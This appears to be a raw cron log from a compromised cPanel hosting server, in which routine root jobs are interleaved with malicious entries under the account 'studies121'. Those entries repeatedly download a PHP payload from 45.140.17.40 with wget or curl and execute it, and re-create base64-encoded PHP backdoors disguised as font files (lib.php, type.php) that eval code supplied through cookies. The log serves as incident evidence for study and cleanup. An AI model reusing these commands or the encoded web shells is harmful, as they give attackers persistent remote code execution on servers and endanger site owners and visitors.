Sep  4 08:20:02 ip-184-168-122-23 CROND[21120]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 08:20:02 ip-184-168-122-23 CROND[21119]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  4 08:20:02 ip-184-168-122-23 CROND[21116]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 08:20:02 ip-184-168-122-23 CROND[21121]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 08:20:02 ip-184-168-122-23 CROND[21117]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 08:20:02 ip-184-168-122-23 CROND[21113]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 08:21:01 ip-184-168-122-23 CROND[21210]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 08:21:01 ip-184-168-122-23 CROND[21212]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 08:21:01 ip-184-168-122-23 CROND[21213]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 08:21:01 ip-184-168-122-23 CROND[21211]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 08:22:01 ip-184-168-122-23 CROND[21340]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 08:22:01 ip-184-168-122-23 CROND[21341]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 08:22:01 ip-184-168-122-23 CROND[21342]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 08:22:01 ip-184-168-122-23 CROND[21343]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 08:22:01 ip-184-168-122-23 CROND[21344]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 08:23:01 ip-184-168-122-23 CROND[21434]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 08:23:01 ip-184-168-122-23 CROND[21437]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 08:23:01 ip-184-168-122-23 CROND[21436]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 08:23:01 ip-184-168-122-23 CROND[21439]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 08:24:01 ip-184-168-122-23 CROND[21520]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 08:24:01 ip-184-168-122-23 CROND[21522]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 08:24:01 ip-184-168-122-23 CROND[21524]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 08:24:01 ip-184-168-122-23 CROND[21525]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 08:24:01 ip-184-168-122-23 CROND[21523]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 08:25:02 ip-184-168-122-23 CROND[21634]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 08:25:02 ip-184-168-122-23 CROND[21637]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep  4 08:25:02 ip-184-168-122-23 CROND[21636]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 08:25:02 ip-184-168-122-23 CROND[21638]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 08:25:02 ip-184-168-122-23 CROND[21639]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 08:25:02 ip-184-168-122-23 CROND[21640]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 08:25:02 ip-184-168-122-23 CROND[21641]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 08:26:01 ip-184-168-122-23 CROND[21731]: (root) CMD (/usr/local/installatron/lib/cron.updater.sh)
Sep  4 08:26:01 ip-184-168-122-23 CROND[21732]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 08:26:01 ip-184-168-122-23 CROND[21734]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 08:26:01 ip-184-168-122-23 CROND[21736]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 08:26:01 ip-184-168-122-23 CROND[21735]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 08:26:01 ip-184-168-122-23 CROND[21733]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 08:27:01 ip-184-168-122-23 crond[671]: (aromaskitchen) ORPHAN (no passwd entry)
Sep  4 08:27:01 ip-184-168-122-23 crond[671]: (jonessimon) ORPHAN (no passwd entry)
Sep  4 08:27:01 ip-184-168-122-23 CROND[21983]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 08:27:01 ip-184-168-122-23 CROND[21984]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 08:27:01 ip-184-168-122-23 CROND[21985]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 08:27:01 ip-184-168-122-23 CROND[21986]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 08:28:01 ip-184-168-122-23 CROND[22060]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 08:28:01 ip-184-168-122-23 CROND[22061]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 08:28:01 ip-184-168-122-23 CROND[22063]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 08:28:01 ip-184-168-122-23 CROND[22064]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 08:28:01 ip-184-168-122-23 CROND[22062]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 08:29:01 ip-184-168-122-23 CROND[22151]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 08:29:01 ip-184-168-122-23 CROND[22152]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 08:29:01 ip-184-168-122-23 CROND[22155]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 08:29:01 ip-184-168-122-23 CROND[22156]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 08:30:01 ip-184-168-122-23 CROND[22268]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 08:30:01 ip-184-168-122-23 CROND[22273]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 08:30:01 ip-184-168-122-23 CROND[22274]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 08:30:01 ip-184-168-122-23 CROND[22270]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 08:30:01 ip-184-168-122-23 CROND[22275]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 08:30:01 ip-184-168-122-23 CROND[22278]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 08:30:01 ip-184-168-122-23 CROND[22272]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Sep  4 08:30:01 ip-184-168-122-23 CROND[22277]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 08:30:01 ip-184-168-122-23 CROND[22271]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 08:31:01 ip-184-168-122-23 CROND[22403]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 08:31:01 ip-184-168-122-23 CROND[22402]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 08:31:01 ip-184-168-122-23 CROND[22400]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  4 08:31:01 ip-184-168-122-23 CROND[22401]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 08:31:01 ip-184-168-122-23 CROND[22404]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 08:32:01 ip-184-168-122-23 CROND[22523]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 08:32:01 ip-184-168-122-23 CROND[22526]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 08:32:01 ip-184-168-122-23 CROND[22524]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 08:32:01 ip-184-168-122-23 CROND[22525]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
